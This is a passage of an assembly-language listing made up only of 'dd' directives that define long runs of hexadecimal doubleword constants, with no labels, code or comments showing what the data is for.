8849CD26h, 15360654h, 0F09446DEh dd 9021601h, 8F4CA88h, 47F10AD0h, 3429825Ch, 1C73C303h dd 49CB678h, 806AAB96h, 0B7CBCACCh, 0BAAA8809h, 0F69CAE06h dd 718DF478h, 919C66A2h, 0AA0A89D6h, 98896F03h, 3716B4D8h dd 0D0895B6Eh, 2A881E09h, 0D06FE92Eh, 2C2E18F0h, 2C2495D6h dd 0C4FE01D0h, 70994A7Fh, 0DB2E8AECh, 9DF0106Fh, 0EE15081Ch dd 0E81A925Ah, 0B983630h, 10784B3Fh, 0FE568425h, 2FB6FC1h dd 0B0A788Ah, 986A0AC0h, 9C7094E0h, 463BF912h, 10C90FACh dd 0C288E657h, 41B9D09Eh, 8208DB7h, 7530FAFBh, 0DD49C036h dd 0B2C9CD12h, 0EA941950h, 1B2450BAh, 0BE12DC77h, 0CD79F805h dd 9B2A07Ch, 7A4A0928h, 6D27D040h, 4AC03893h, 48E65A3Dh dd 0B601E0BDh, 6A8622A7h, 0AA0886ADh, 280BFB4h, 5B33A957h dd 404F63EDh, 0EA8FE201h, 8348BCBh, 8D2B0547h, 81EB1109h dd 20BD3778h, 5D4996C0h, 982AE3B8h, 0A3AE9BE6h, 3E5BE8CCh dd 0EEE9148Dh, 0E338D046h, 5A7B2B00h, 139B33A7h, 0FCF1EF7Ch dd 5F834E2h, 0BB2B0D0Bh, 790402CDh, 0B9A0C08Bh, 46EB40A1h dd 0C050C283h, 0B8E7D998h, 1019339Ch, 10080F19h, 28F32139h dd 4E10CB9Eh, 0BB70D8A2h, 9353F884h, 100C7548h, 0E8AE6E2Ah dd 2684B8B9h, 6A00939h, 18937479h, 0C386B4Ch, 90DC8BF9h dd 28E0BA8Ch, 3F85722h, 7B3AAAB3h, 4013A055h, 0D01EA6DCh dd 19C6814h, 0B9A9BDE5h, 589894CCh, 919379AEh, 98E450CEh dd 9B629D30h, 1E98C350h, 30C892A2h, 80483896h, 2A200274h dd 8062498Dh, 3FAEAFCh, 0BADB1D2Bh, 0FB3B0AFDh, 3EBB1CC0h dd 0E1832340h, 0C1FF309Bh, 5C708704h, 0D998A08Fh, 0F9D4B2B7h dd 0B0335874h, 0A990154h, 2E29CD11h, 1CD8A66Bh, 965416BEh dd 0D8559C0Ch, 5150636Ah, 0E82EC509h, 0F6941010h, 0B9914A0h dd 50CA128Ch, 0DF6CA4F0h, 0FEA1630h, 0F2AF960h, 98D438D8h dd 0E06093FEh, 7789FFD8h, 3336C340h, 0FA606AE9h, 140B092Ch dd 0A1322EF8h, 0F42097AFh, 0ADE20356h, 205D6B95h, 1438A9C8h dd 0A851F8CCh, 0AC8C7DF9h, 0DDEF28D4h, 98172980h, 0FD7D022Ch dd 34E4275Bh, 38CA9231h, 8837773Dh, 1DFE5980h, 1680EE86h dd 12EC90C1h, 7212F0Ah, 0F320E3F0h, 8DC88ECAh, 649A9BC9h dd 0B8C0E626h, 0FC1E7312h, 4FF07DD1h, 715C01AAh, 3988558h dd 6125980Eh, 602F4A88h, 9719C5Eh, 0C01A70C2h, 0D2D51CA4h dd 0A850A1C0h, 12B028EDh, 0D404EDEEh, 709E588Ah, 0FC9B0507h dd 0C09084F1h, 95881A20h, 8A09AB1Dh, 171B2B00h, 0ADA82A86h dd 896D9D24h, 0BC60DC2Fh, 0A14A5696h, 4CE086Ch, 0D8EE5824h dd 0EC20829Fh, 9681A0EFh, 0D1E0EC17h, 0AA56308Ah, 4237D830h dd 91D27830h, 0B37EA6F6h, 50F8C070h, 0F740E665h, 0AFC50016h dd 55AAD9A7h, 733A2B96h, 0E86B004Ch, 0D7898D24h, 48E9E2CDh dd 490F08A3h, 3E3D1766h, 9D464A4h, 0E002096Bh, 78CF7E9Bh dd 561B0C3Eh, 73B6D974h, 0DB3B0B22h, 6880849Ch, 298D2C7Fh dd 1035172Ch, 8FE84309h, 87EFE92Ch, 0F88A6194h, 0C980A618h dd 1348987Eh, 0BD80F8Ah, 384012ECh, 90C90E02h, 1C9CA7A8h dd 13B835Eh, 0A3E81398h, 0C788028Dh, 2368979h, 0A9C1C2DBh dd 4043A73Dh, 80ACE057h, 0BBBD732Ah, 15C9457h, 79A9C3AAh dd 0C8BCCA8Dh, 9851A405h, 8C04EBEFh, 68D7A296h, 598CFD4Fh dd 2819D895h, 48B8B93Fh, 0CA3BA027h, 10C99AEh, 8B965FEBh dd 9D541CFh, 0E9D83027h, 904CC428h, 18F4E75Dh, 0C910BE3Eh dd 5B2B0F34h, 31F659Bh, 99A7A9C0h, 0B1E48390h, 8D22703h dd 73D44090h, 10057808h, 0FFF830h, 0D001911Ch, 0E1F6CDAh dd 71FDA3A5h, 109DA621h, 9A7FE441h, 8797AA00h, 0A377736Ch dd 5AF03BC7h, 29651F02h, 18B870C0h, 8107D41Ch, 0C794938Bh dd 8EEFED0h, 9D351DF0h, 0C3280A01h, 9E80531Ch, 9940E718h dd 9F4B29B0h, 8D9B0010h, 9668F2DBh, 2BD0C71Eh, 3710FEC0h dd 52B0018Ch, 74C060CDh, 3D1101CBh, 0C44C7080h, 3CA03030h dd 110B5C67h, 10730218h, 0F20165FCh, 8ECE6171h, 184CABF1h dd 1B213AE5h, 8ECD037Bh, 0CEE00D11h, 4C35EFA7h, 0C731D4A0h dd 0CC90DC00h, 0E1F6B18Eh, 665101CEh, 6F700195h, 31C4AFCh dd 8C35A49Fh, 0D1900042h, 11CDAB29h, 6CAD94F0h, 2D297C00h dd 9D5EFF7h, 0C9BF718Eh, 0BE660402h, 0F09F0040h, 0D449E468h dd 2AD418F0h, 88D947h, 8E26491h, 2966F810h, 7CA5052Bh dd 5C832360h, 405F6053h, 0CD9F2F31h, 9DB5D114h, 82AD807Ch dd 0C2CC4528h, 33F51D49h, 7EB608A0h, 3F29E529h, 4A4034FFh dd 672FDE4Ch, 8251F0F0h, 90B602E6h, 0E6221F05h, 0C801AB11h dd 0FFC63EF1h, 0EA01845Bh, 1DBAADB4h, 14FC40D4h, 0F8D402E3h dd 98F7BC2Ch, 2A250265h, 8850C7ADh, 20A3904Fh, 0C6114800h dd 90957D6Eh, 10990088h, 0DFC431E5h, 290351D5h, 0AB500196h dd 8B083AA3h, 0F580CCD7h, 8EF3C1F4h, 7028C090h, 0B0128045h dd 48789EB3h, 99A000BBh, 0C7BD01D3h, 0CB040990h, 961F5008h dd 3A003178h, 97E606E9h, 62DB30C7h, 961C700Ah, 0E35884BCh dd 1CCF1837h, 3A4A5070h, 1020FF05h, 768E7087h, 4072C456h dd 972364D0h, 0A9901501h, 0D7A07096h, 0B96FF612h, 981BA671h dd 0A0B72B68h, 36384070h, 3A26810Ch, 0B0968B2h, 52B8829Bh dd 270B49Eh, 0B7EDC92Eh, 0EC80A19Eh, 1001AD50h, 7098782Bh dd 0C2B71947h, 288134B4h, 0FC477270h, 0E07C8745h, 4046040Eh dd 9AC268Ah, 100C8131h, 99D3F770h, 0E841FC20h, 11E98E1h dd 572960EDh, 9701A1A9h, 0F6B89094h, 2D67843h, 705574Fh dd 0C0EFE8A4h, 95A590D0h, 99E608C5h, 0AB37C68h, 2DAE4DC8h dd 66224B4h, 0CC50FE8Bh, 6D017C8Dh, 20096C8Ah, 0AD5EC53h dd 99D4D038h, 34DFD074h, 6833B18h, 6F2B038h, 0B71002BAh dd 7020F09Ch, 99F42BAAh, 0C163447Ch, 414FA837h, 365D0D8h dd 56F18E10h, 76C37CFAh, 0B5BFDFA7h, 0D6F809A2h, 0C550C487h dd 5D7C68B2h, 132891FEh dd 90019831h, 0D0FFBC50h, 7C5A9B2Fh, 92347A03h, 0B00033FCh dd 8125730h, 0AD9B38B0h, 0A3D0174h, 203F38C4h, 700250BCh dd 28D008CCh, 470B49Bh, 5B545C28h, 0BD8915Ah, 9238BE47h dd 4F13FE89h, 99F56045h, 5607868h, 46AB5969h, 76F406A0h dd 0D02838EDh, 0DA5798CEh, 0B490C0F8h, 414C650Ch, 70C8D5ADh dd 91474E68h, 5CF53DC7h, 0CC72D0F9h, 3E6378C9h, 0C6771CE4h dd 0BD1D88F6h, 1038B018h, 0E0E49389h, 96D6B572h, 20A36E20h dd 0F9EECE8Ah, 911DE8C4h, 0AE151B78h, 1BB8F7ECh, 46789630h dd 0AFC17438h, 10528E6Fh, 0CD11650h, 0D0EDC35Bh, 0D4787908h dd 58250302h, 0FF68364h, 36296D80h, 33403523h, 15B7C1Ch dd 63800CE3h, 802E4703h, 0CD0F5418h, 5C2F4EE2h, 880004ADh dd 7F851AEDh, 2100339Eh, 26252432h, 6E435BD6h, 6A8C783Bh dd 6C628310h, 1EF7E348h, 0BB1FF498h, 13924E6h, 5BD74B45h dd 1FB1563h, 645E4608h, 881B5223h, 759D8C8h, 43362AA3h dd 73A74AF9h, 8291CC1h, 8F603429h, 404055E0h, 6B00E51Fh dd 0CFA47F5Ah, 15633627h, 1CCCD6A0h, 0B09B64C0h, 43008A69h dd 0F4BD0524h, 0EA9A5BBh, 1D043A26h, 34153E3Eh, 0A8E09827h dd 14307D02h, 54A548AFh, 85BB1840h, 6783D85Ch, 81942C57h dd 90296B24h, 0AFC5B850h, 4890AC7h, 0D07C353Ah, 8EF23C52h dd 0D165C1C0h, 1CE5BBD9h, 47638549h, 53640D56h, 43A1098Ah dd 43B84725h, 18280FBCh, 0A31FC860h, 2A3A5C7Fh, 2B0D0D0h dd 0B165BB0Ah, 6E0AF818h, 0B91D8025h, 60C31BBAh, 3BB7C198h dd 2804D1F3h, 3379B441h, 684EE89Bh, 0F00509C1h, 2E57D403h dd 77683C4h, 309DA8D7h, 16853B24h, 1225BB9Fh, 98100308h dd 6FA16384h, 26E3D092h, 0A31F8C78h, 0C3048155h, 6C838725h dd 43C01264h, 0E47846FEh, 4C33E0D1h, 3784872h, 0BA96B4D9h dd 8189FA5h, 0E3E86645h, 8308C6CEh, 31DD0C6h, 183C4D1Ch dd 6E08343Bh, 64C8DC24h, 352087A0h, 0F865465Bh, 59C00319h dd 98AE868h, 0C90E156h, 0FD40E474h, 0E3243449h, 8604904Ah dd 52580ACh, 843A370Ah, 30FE845h, 247872E2h, 0E90718F6h dd 0FA454134h, 8304F4FFh, 6320D890h, 8128AD92h, 496E0CBBh dd 62E50089h, 0F44FAA0h, 0E4396CB3h, 6C5BE2C5h, 8E1BD5E4h dd 0A841F605h, 2895A104h, 87CC7065h, 4D54805Ch, 3DD7562Eh dd 6A7FA090h, 8C05960Ah, 24D0582Dh, 0A74B1034h, 0D5C507B3h dd 324297BAh, 3384F2Fh, 0A735D312h, 0B39C97D4h, 0FEA296A8h dd 0A2828C6Fh, 0E2217BE4h, 325482E5h, 0C44B00C9h, 0C657A489h dd 5501C0D0h, 9A16E6A3h, 0B6DF02ACh, 2F3464BFh, 0AEE074B4h dd 6C268312h, 53459000h, 2A550C9h, 0A4889E87h, 5C61FE34h dd 39840D0h, 8C42602h, 40823A67h, 0C88BE39h, 1B59F313h dd 2372E599h, 5A45500Ah, 0F5F08829h, 74CF0A3Bh, 3FF842C0h dd 0C550E402h, 84BC2F33h, 1857703Dh, 0A5D07C7Fh, 70FC6068h dd 0C43A38AEh, 397416EAh, 0C82C4C31h, 905E2910h, 0D0B1F05h dd 0C5E845D1h, 0A3C402E5h, 7CB4290Ch, 38220E0Ah, 6586E885h dd 30EFE8h, 0E4C51BABh, 64C481C9h, 50471D03h, 0C3891285h dd 8FE7FA04h, 57B9E0C0h, 97C37D3h, 0CE18A35Dh, 8329C08Fh dd 70229800h, 4CED443Ah, 3000A7F0h, 0FE877111h, 7CA13FCh dd 0D7A03C97h, 0D0653095h, 35733210h, 0FFC7EEAh, 10DF69F0h dd 0DCFFB00h, 0C0CA5370h, 23AB8808h, 2B007B72h, 6F0BF3FEh dd 2B463002h, 8034A696h, 55591D15h, 0D00B6466h, 809C17B0h dd 2B6EEF98h, 3DA700B3h, 0C8FC3010h, 0E1D500Dh, 53F0F92h dd 863223A6h, 3652FA80h, 70021476h, 61B034E7h, 1F0CA827h dd 0D2D0751Ah, 900F0C8Fh, 95B0A36Dh, 121EA574h, 0BA09F0h dd 0B0027F50h, 0AEA8C88Bh, 33310E28h, 6AA1F0C4h, 80B670D0h dd 0B9583080h, 28D59224h, 702461F2h, 4C9152F0h, 9DBA9A80h dd 760B14F8h, 80F790D0h, 155612EAh, 0EE300A0Ah, 0D8A00F85h dd 7226B348h, 0D0016AACh, 6F1FD230h, 0AF6DC4E4h, 0A1240188h dd 8C64E110h, 79F55038h, 7C705609h, 89150880h, 9A00C458h dd 0C9BDD78Eh, 0F8D3C1h, 7D175AC6h, 0F4A539A6h, 0AC89441Dh dd 90056143h, 37300079h, 0F3C1624Eh, 0C014A34Bh, 0B01CF613h dd 20BF68EBh, 97186EF9h, 0D2308473h, 53CF14C1h, 22B01C7Dh dd 2320DCA0h, 1DF7001Ch, 0D6512FABh, 0B100334Ah, 27F42A7Ah dd 2247D2h, 0D7A29331h, 0CAF08173h, 0D8743379h, 6F074CF6h dd 74B99130h, 45D37140h, 3EB2FE34h, 3C00225Fh, 0CFB12FA4h dd 33B0BC9Eh, 7403EEEEh, 14BDDCB0h, 15C19F17h, 0B4F05080h dd 1EBE71BBh, 3A4DB194h, 7EB9141Eh, 4B2F1Eh, 0CF10B0F4h dd 8C08313h, 0C098CD53h, 0D3DC40F3h, 0C17CF47Fh, 8F119C3Ah dd 81A7EF73h, 67746093h, 4505844Bh, 52D8015Bh, 800904BCh dd 2AC6BBE2h, 6C530608h, 0C86ACDE3h, 0CCF57100h, 0A0F2B4BDh dd 87E8ADC0h, 0B0F1AE33h, 0B78E9B2Bh, 0E37A6B03h, 0A07101ADh dd 93FE2Dh, 3B7F0DE2h, 0D2D91766h, 0A4006EECh, 0FDAEBABDh dd 3370C535h, 61CC1A5Dh, 0DDB3090Fh, 0FDD0001Eh, 0A9E33Eh dd 7DB6ED63h, 53A3D598h, 0DDBFE00h, 17B724D2h, 0C5010A18h dd 581CA650h, 1A0092ADh, 0DBF9A8ABh, 3F096E6Dh, 70177B7h dd 192D90C5h, 3D000B33h, 709ABA28h, 0CD0EDBFFh, 20B721F2h dd 0D0C5EA92h, 8038A5A5h, 78AC25F8h, 0FF0F9626h, 6609DD47h dd 108C2F1h, 0B250D731h, 34E1EA7h, 0C02BA3B5h, 4F8B6EDAh dd 0F58BC75h, 0EC495BCEh, 2274952h, 0B1A6C278h, 0E10E3A6Eh dd 0DBE6C468h, 5701204Bh, 684D516Bh, 1D07C07Ch, 0FA801180h dd 9A9100B6h, 3726C447h, 80853A13h, 7D1CE6DCh, 0E7E07B27h dd 0A6C36B00h, 0B63ECB31h, 6601E751h, 6404B9Fh, 8F71ACCAh dd 66C771C1h, 886D7824h, 63788EFAh, 650BEE8h, 0F87F0590h dd 0D8E43132h, 38CB4A6h, 0E4F60C5Eh, 0A7817DE3h, 715888BFh dd 0CC5106B1h, 3C3EA064h, 9ED10704h, 6040A5EAh, 305CFC0h dd 1191D379h, 0C02B6EC8h, 87EFA4E4h, 24C52F15h, 64878403h dd 75C82B66h, 0E1C0E0A0h, 0C0A85232h, 1D659767h, 9C7C7A90h dd 618EF698h, 0CD4739E6h, 0CAD08A1Bh, 72F18C6Eh, 88EEEDCCh dd 0B729FF27h, 5DE06CC3h, 30B0B3B9h, 0F9102356h, 49008682h dd 27F24442h, 39A4C5A6h, 0CC508F11h, 15107447h, 7C3F2B51h dd 5FC8BDA3h, 48C71D0Ah, 0A2D0B907h, 10809A51h, 12BDA7B1h dd 881D2E11h, 32B6909h, 14637300h, 941C7108h, 6E9C512h dd 2867CE38h, 91E81D50h, 0F80E5428h, 748BC48h, 0A4A9DAD1h dd 0E5DCB580h, 0C3207C76h, 0A5E984B8h, 916108E0h, 169BD119h dd 7771DCC0h, 0E835ACD0h, 219C3EB1h, 0C820E774h, 1E183C67h dd 410E1479h, 1BECA0C4h, 0A182D21Eh, 67F27101h, 0C88D60B8h dd 0DD085F6Fh, 0E7C0805Eh, 3705BEAEh, 0C0049346h, 3C810C02h dd 0F246EC03h, 1522D647h, 1C3F85C0h, 6A18CDA3h, 2738F350h dd 0D08AE5D3h, 0F0DC40E9h, 0CD080307h, 0A46D7C9h, 0F0803F5Fh dd 90183AD4h, 0E7F057AFh, 0C0580468h, 8F40DBE5h, 28990054h dd 98906024h, 6D200738h, 902AFD1Fh, 360611D1h, 215D5801h dd 0EAFFB785h, 0BBB23180h, 5F2CEF5Bh, 205D1F00h, 0E51DEBE1h dd 51D17165h, 1C1CC25Eh, 0D23E007Bh, 0F53C475h, 0E42CB5BDh dd 5F016DEBh, 252291D1h, 0EF02384Ah, 0F32BE8F2h, 4A91D01h dd 0B53F388Eh, 0AA5EA260h dd 9D3AB1DDh, 81F10CABh, 5710ADh, 0A051DF24h, 2B02BE5Ah dd 0FC1468DEh, 5ED7B06Ch, 0C309005Ch, 617D0F56h, 315B1DCh dd 0E1885F72h, 34F8B525h, 0DD38C29Dh, 361ADEAFh, 0B2860688h dd 38B406A3h, 91773D03h, 29BBE3AFh, 0A88C340h, 0F390648Fh dd 0B8F0D7B8h, 9DACEB50h, 0D2875702h, 0B46308A2h, 75F5F078h dd 557E00B4h, 957FD0Fh, 0D600A2D3h, 0EC2BFF2h, 68E2BE08h dd 1FA010D5h, 0DE2207EFh, 4887CE4Dh, 2082407Ah, 621FBD81h dd 0C20A4C68h, 9100BC40h, 0D1DDB00Ch, 51CCA0A1h, 1082883Fh dd 977FD0F7h, 0DC30D078h, 84A1105Dh, 6A0218BDh, 786770F0h dd 9C0160ADh, 0C19DCBD2h, 815DA040h, 22D30A44h, 60BC6194h dd 0FAFFF8A2h, 0E300C1E0h, 7F60DB6Bh, 0E91C8F7h, 9DB00529h dd 0E0A1CB40h, 8100FAB8h, 0D341F8Eh, 195BF8Dh, 0DF1D708Ch dd 0D45FD19Ch, 0BA016375h, 59304FE8h, 0B3C1C1CBh, 78E161D0h dd 90E6AFh, 5001C9C8h, 0DC66A805h, 1C59F3Ch, 0C1FABE1Fh dd 304A1EECh, 69A1B500h, 0E893672Dh, 5DECEF0Dh, 9888D6CBh dd 5E788C01h, 0AD18306Eh, 0C7F38F39h, 0B881C919h, 0E1BCC1D8h dd 98D57318h, 0A8070736h, 0DA5C4086h, 0FAB90280h, 2E442141h dd 5C768EC0h, 0BBC3064Ch, 48912FE8h, 982EE12Bh, 870645E0h dd 0FFCF887Dh, 8080C657h, 7A0F402Bh, 0E8910FFDh, 0DA42736Fh dd 773E17A1h, 0F2E75CA5h, 0B842A06Ch, 0FBA1D600h, 3921CBC9h dd 26C7181Ah, 0D2E60851h, 0D546E1E1h, 0F686F02Dh, 41CBE305h dd 8479B8FBh, 2831B7C8h, 2B44235h, 0C6ECD9AFh, 40CE06h dd 0E96E98E1h, 0CC34C048h, 0F8EDDBA1h, 18A06201h, 98BE4461h dd 0E17C4000h, 0B28B65DEh, 896B006Dh, 2F2CBBC4h, 8FE6AF0Eh dd 82E6F00h, 0D4DEB92Dh, 40A507ABh, 8EBAB405h, 0E53AACA1h dd 0AD408333h, 0F0911C5Eh, 779DFE6Eh, 0C4880C9Bh, 46518CFBh dd 21002DF8h, 5267412Bh, 0F33DBDFh, 68E810D4h, 90D57707h dd 0EC1A58D8h, 0FD85E900h, 3264170h, 0F3FF3943h, 0A77F6201h dd 0AA3CC5Eh, 20DF5302h, 20905456h, 0AA00C6E1h, 936D9F43h dd 3A0A7F37h, 2C004287h, 0EDBF3AAFh, 66E8459Ah, 8E181F60h dd 0F53F62F7h, 0A861344Bh, 105A9EFBh, 1870FF50h, 68A85C81h dd 370190ACh, 3BF1CEDFh, 45E4B43Fh, 0AD913A5Fh, 0D22B1E7Ch dd 737A0E3Dh, 447D0793h, 57D6C34Fh, 0B08D80A7h, 13011F50h dd 0EFFF62E1h, 784BCD8Eh, 0E65D80Ah, 77214244h, 0DE5BBF00h dd 7E1F1844h, 0D117F8EEh, 0D39F3A1Bh, 77D5E098h, 995F1839h dd 8BF22851h, 0F47F450Ch, 0A7E08E5h, 105F3EF9h, 53FF0190h dd 719F319Ch, 0DDFD03Dh, 0F43CC8DEh, 0F02DC880h, 2686037Fh dd 2B9E5F61h, 0D8A92030h, 73B3BFFFh, 8C713050h, 45CEEDACh dd 0B8973F28h, 0BB8D47FEh, 82599F11h, 41350AC1h, 0E880B80Ch dd 3792F67Fh, 0E23C113Fh, 2C340F3Eh, 7606003Ah, 0A07E9F39h dd 3E201FC4h, 7C18447Dh, 0FB6F80EAh, 9503E8C4h, 0E7210481h dd 0D0AD1898h, 0F83A171Fh, 0A944013Eh, 4F2B9F50h, 6E8A3FF0h dd 0B16C0829h, 0E8C2D5D8h, 834A5F7Fh, 0C04B82E8h, 91FE0B9Fh dd 5080505Ch, 61E1C684h, 5F28D85Eh, 9F72D8E2h, 0E4CEA183h dd 817DC842h, 3C23FD0h, 0C0BD5C20h, 319EFEB1h, 68089BBFh dd 98F99F62h, 48E3998Bh, 22FEC8A9h, 0FBABA174h, 4801BC5Ch dd 7F02705Bh, 0DF2E64FAh, 0FF5A2082h, 78425845h, 0A1749951h dd 283BC6C4h, 34DC2ABFh, 9986F9Fh, 0C15FFF8h, 0CAB1824h dd 914A023Fh, 427B9F37h, 0FCB8854Ch, 0E804C02Ah, 3082E218h dd 903293E1h, 0BC51516Ch, 906ABDE8h, 883C489Ch, 0E0FB4874h dd 5DA7F0Eh, 700AFF82h, 7116C083h, 931024h, 0BC245F0Ah dd 1558BF1Ah, 0F51B08B8h, 81055344h, 10AC2BEFh, 39998498h dd 5F9C3421h, 127CA64Ch, 2449CADFh, 8AF809AFh, 5F0F248Fh dd 9BD0395Bh, 6312D824h, 0B3D8B054h, 0F6C0B414h, 0C2EDA9C4h dd 2C15C4Ch, 0DF3B65E4h, 9C8464FEh, 0F9B097C8h, 0DC09500Fh dd 0B88AE895h, 61626C8Bh, 9F78404Bh, 58609104h, 4CA6F45Bh dd 479B0114h, 8ED413CCh, 0B022B40Ah, 84D04256h, 94D230A1h dd 0BFBC406Bh, 0D89D64A0h, 35C8A22h, 845349D9h, 0D0209176h dd 4D3970h, 1B0ABDB2h, 0F38CD8ACh, 8F36943Dh, 0E03A33A5h dd 5BCAA3E5h, 0DD881DC5h, 7805387Eh, 309FD1E9h, 0C1D6428h dd 13496D60h, 194D3173h, 5035EE05h, 45489FA2h, 857EDB01h dd 70E799Eh, 0D892BB54h, 338CD5B0h, 5ADF0F34h, 7E4EBE45h dd 29684885h, 80B8F01Ch, 0D19E3833h, 534031CFh, 4FA00539h dd 290A3A38h, 73051C6Fh, 7869DB78h, 10907096h, 93821CB5h dd 70BCD88Dh, 70B5EA14h, 92B3801Ch, 0E57ED9h, 655F4C57h dd 56133B7h, 60B47800h, 5BA4A6A5h, 0DA0A2B85h, 30984C30h dd 0D312B547h, 85370614h, 651450A4h, 2AACC142h, 1923B036h dd 1AB8CCC0h, 0B3C423h, 61B0FCF3h, 4307C9E5h, 592C8556h dd 0CA12004Fh, 0DF226558h, 5ADE4071h, 4CA8FBC5h, 6B0346E8h dd 0ACE7256Ch, 5397F96Dh, 7837E5E0h, 2CA515ADh, 38E274D8h dd 6D132014h, 409EC501h, 41046556h, 3203A441h, 4867A88Fh dd 1EB02505h, 4E231EA8h, 0D88A456Ch, 8000F2F8h, 0EEDF22BAh dd 5877BEE8h, 1044F701h, 0EBC46051h, 5619098Fh, 362404h dd 61DE9984h, 74E83E44h, 55583174h, 8C23D428h, 2849B508h dd 8786019h, 0E47C8BCBh, 4ACD5900h, 5563B124h, 19D23A44h dd 0F9DA410h, 831D9484h, 0E1310FC4h, 0E4004624h, 0CC80376Dh dd 0B518C01Ch, 7C447D8h, 6461DB74h, 6E594409h, 6DA7508Ch dd 10C3EF48h, 0E003BAE4h, 7C843964h, 3087E149h, 8180CDA4h dd 0E0DA6CE4h, 86780A24h, 0BE6342E8h, 0C0BCD118h, 0F8BF2D04h dd 81D57484h, 0E1098C59h, 71750AAh, 910447D1h, 0B164C1B9h dd 54088DABh, 118C40A8h, 0C428D084h, 0F8814E41h, 5D37AFC7h dd 95B7D0C8h, 7F10FF67h, 0A1CFB007h, 0B877B4E9h, 5A17188Ch dd 0FA3C9708h, 95F70FD1h, 8A5784D4h, 0F050724Dh, 7080D2A3h dd 77A20015h, 373AFF0Fh, 0E50FDF16h, 0E0B56409h, 8AEDE718h dd 43103927h, 17996D8Fh, 854543DFh, 0F98377CDh, 602FD7A0h dd 2303F7F6h, 0BC97C2CFh, 2737A0A7h, 3AA27C3Dh, 0B7383559h dd 97B61D03h, 57A1141Bh, 54098FB2h, 87178413h, 182E7706h dd 10EBD710h, 1C054E1Fh, 100659F7h, 3E370089h, 0D840CD07h dd 8636FD30h, 39E97720h, 0C5F633D8h, 0E808C3F0h, 70FDE8B7h dd 4011F6F3h, 0D784215Eh, 0A8921D04h, 7137BD00h, 74F7E932h dd 52D0F153h, 17C21AADh, 0A8D0095Ch, 0D605719h, 0F0BA04C0h dd 0A23A320Fh, 0F788F98Ch, 0C2B81B56h, 300F4E32h, 0DF0315F7h dd 0FA2B97A0h, 8A05A1CDh, 33E80880h, 5FCC17E9h, 6937B700h dd 4877C2B1h, 0D2C4A3F7h, 60988329h, 1083041h, 187337A0h dd 312BA274h, 84E88FFh, 0E540EE84h, 0C8D7A0DDh, 12CF653Ah dd 202A1886h, 0C02AC211h, 0B75D8A37h, 0B4E12477h, 241D1514h dd 682390B6h, 0E257885Eh, 34833700h, 0FA9297E9h, 0F3F714C2h dd 0AA28BC40h, 19B73780h, 0D0BDC1F8h, 8B9ABAFh, 0B24A97C1h dd 0C0BCC7C0h, 0F3621F10h, 84A9A837h, 3205B63h, 8051B3A4h dd 5EF12BA7h, 0C0386870h, 8B56752Dh, 6405377Eh, 0A0E0AA77h dd 1D4ED86Ch, 0F1C23C47h, 5579770h, 96B346Ch, 0EFEDAF41h dd 4AC8E827h, 51017C88h, 5ED708D8h, 7CFC62E3h, 4170A717h dd 0F7A0DE55h, 78262DDBh dd 0BC4852h, 0C5382898h, 3C96C0Ah, 7B9EDBCBh, 2101E9F0h dd 0B9F51858h, 0DDF8D138h, 77A307B8h, 80958DB2h, 3B2771B4h dd 25026400h, 0AFEBDE67h, 83D1183Ch, 3E8440CEh, 19D67A07h dd 0F0E39B63h, 2BC4E81Ch, 3E4860D3h, 1C6234Bh, 0A359FB00h dd 37698655h, 40CD6090h, 76DA086Ch, 87E78B00h, 3F476039h dd 749908Ah, 135C907Eh, 302B011h, 0CA07E715h, 957DA9D5h dd 0E21AB433h, 0F7EC053h, 1820003Ch, 2B23861Dh, 310036AFh dd 0EACE0430h, 3DB94A28h, 0D6850FE3h, 1FF50115h, 0B5007880h dd 760475F4h, 0B0980746h, 6D3598C2h, 0C1A880B6h, 0B8FC9Dh dd 0BA730315h, 2780C6A1h, 0B03B983Ch, 0E962C99Eh, 21E30010h dd 529F1559h, 44007AE5h, 6E538CD9h, 7E651F30h, 4C4605F3h dd 80C8BCB7h, 89AE527Ah, 0DD181100h, 1C9F4192h, 4BB01DC6h dd 82BD000Eh, 0AA1E26F1h, 43D29C00h, 0BC2DA4ABh, 745E3FD8h dd 0DAD9FB00h, 0DB0403EFh, 20CF8B7Fh, 65E60ADh, 23CEBh dd 1BA16340h, 25133F7Fh, 0F507627Ch, 0B4A2A638h, 0B2BF004Bh dd 5A19D7h, 943FA5Dh, 7E11FCB0h, 0B3E9A900h, 0CF9D4EA4h dd 7D5066Dh, 6893BE56h, 0DD64DC00h, 0DBB6B780h, 0F88AF02Eh dd 122414EEh, 2A0194C5h, 0EB817AB5h, 8020B8DAh, 71CCF0D3h dd 6C15223h, 0C927DD2Bh, 0D21D41B4h, 0AA0E333Dh, 76568022h dd 596753Eh, 50389D17h, 0C4A903A5h, 0FB17C71h, 0BFB0EFF4h dd 1F00DE78h, 0DAD6B008h, 6021D19Dh, 7744482Fh, 0B90E2083h dd 0C7DF0273h, 7463165h, 600F3821h, 84745580h, 2871C7B6h dd 0CA418C0h, 0FC3E9B93h, 880201BEh, 38F6819Ch, 8950F4E0h dd 6503587Ch, 0AC8697DDh, 1E28002Dh, 0A0908841h, 8300B05Eh dd 66DA577Fh, 7E72D21Ch, 5FA41C05h, 714BC6C3h, 52036AC1h dd 0E944DA1Dh, 0FB74A88Ah, 0D483003Ch, 27CE992Eh, 7965F422h dd 1480E5E2h, 431D77Fh, 95E88B50h, 87388015h, 0D83DA89Bh dd 6D6F007Ah, 56116775h, 0BAFF0F91h, 19A0D798h, 5C964CF0h dd 0B281B006h, 11EF68h, 0F1201B7Bh, 77DD58CDh, 12D04F03h dd 0F03E61B3h, 9BB6Dh, 2E3FEC96h, 84A4ED78h, 0EE396B00h dd 0E105E967h, 85460066h, 21C6D3BEh, 3E12575Ch, 9D1C9ADEh dd 8C4351C0h, 1FAC28Fh, 8AAFE5C0h, 0D0E881C8h, 0C91F564Eh dd 1EC3666Eh, 0C0F90BA3h, 0A21ECD6h, 0F67476D4h, 2B2F07DDh dd 0DF557Dh, 0A77B3208h, 0C18C099h, 8D31EB86h, 0BC95039Fh dd 0FBD3F651h, 0ED03AED8h, 30FEDA1Dh, 44365E80h, 0E2C05C6Ah dd 9CE600E3h, 389671C8h, 0C171E714h, 5C3D1601h, 68A330BAh dd 0C841B447h, 0D6D82EC0h, 394B07Eh, 0CBD72234h, 8A84A80h dd 9300CAB7h, 0AC1B1590h, 0AB9BCFh, 91F5D4EAh, 8448205Fh dd 89EC5000h, 190EF398h, 0ED6E13A4h, 59A100CDh, 7C50AD56h dd 0B279EB00h, 55F0A963h, 99B8A02Dh, 256507A1h, 0B037498Ah dd 0A9158832h, 77DCAD00h, 0E81AAF38h, 0C78503BEh, 0F08B2DECh dd 32486EB8h, 0A56B9007h, 57C1EBC4h, 